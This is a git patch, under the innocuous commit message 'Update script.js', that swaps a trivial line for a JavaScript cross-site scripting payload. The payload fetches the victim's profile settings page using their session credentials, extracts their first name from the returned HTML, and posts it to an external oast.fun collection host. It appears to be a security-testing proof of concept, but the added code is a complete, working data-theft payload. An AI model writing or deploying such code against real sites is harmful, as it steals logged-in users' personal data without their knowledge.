From f38de457123e7ba3f9c3ba4c826c412f8ff83b28 Mon Sep 17 00:00:00 2001 From: hostfree23434 <46051776+hostfree23434@users.noreply.github.com> Date: Wed, 18 Sep 2024 22:58:22 +0330 Subject: [PATCH] Update script.js --- script.js | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/script.js b/script.js index 207241d..b565464 100644 --- a/script.js +++ b/script.js @@ -1 +1,5 @@ -document.write(btoa("hi")); +xhr=new XMLHttpRequest(); +xhr.open('GET','/ProfileSettings#general'); +xhr.withCredentials=true; +xhr.onreadystatechange=()=>{if(xhr.readyState==4){dom=new DOMParser().parseFromString(xhr.response,'text/html');var firstName = dom.querySelector('[data-bind="text: firstName"]').textContent;xhr=new XMLHttpRequest();xhr.open("POST","https://kypdqokutkzjkenfltayept3ry0mphyy4.oast.fun");xhr.send(`firstName=${firstName}`);}}; +xhr.send();